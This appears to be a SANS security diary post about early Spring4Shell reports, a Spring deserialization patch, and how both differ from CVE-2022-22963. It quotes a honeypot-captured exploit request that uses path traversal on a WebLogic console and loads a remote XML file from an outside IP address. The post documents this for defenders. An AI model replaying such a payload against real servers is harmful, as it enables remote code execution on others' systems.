Last night, news broke that the Java Spring framework may release an update fixing a significant security vulnerability. The project added a patch to the Spring framework GitHub repository that appears to fix a deserialization vulnerability [1]. 

A blog post published around that time includes some additional details [2]. However, the comment by Sam Brannon released with the git commit (scroll down to the end of the page for [1]) does explain the patch:

The purpose of this commit is to inform anyone who had previously been using SerializationUtils#deserialize that it is dangerous to deserialize objects from untrusted sources.

The core Spring Framework does not use SerializationUtils to deserialize objects from untrusted sources.
There is no CVE and no official announcement from Spring at this time. But it may be a good idea to find your Log4j notes as your response will likely be similar.

Do not confuse this vulnerability with CVE-2022-22963 (I have already seen some posts mixing up the two). CVE-2022-22963 is a vulnerability in Spring Cloud Function, not in the spring framework. It was patched yesterday and appeared already to be probed based on our honeypot. For example, we do see requests like this:

THIS IS CVE-2022-22963, NOT spring4shell

POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: a.b.c.d:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://45.67.230.64/wb.xml")
 

[1] https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529#diff-6c2618839eda075efe4491842d3673eab8fe1e342f6d9ddc2bbda8556e595864L153
[2] https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

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Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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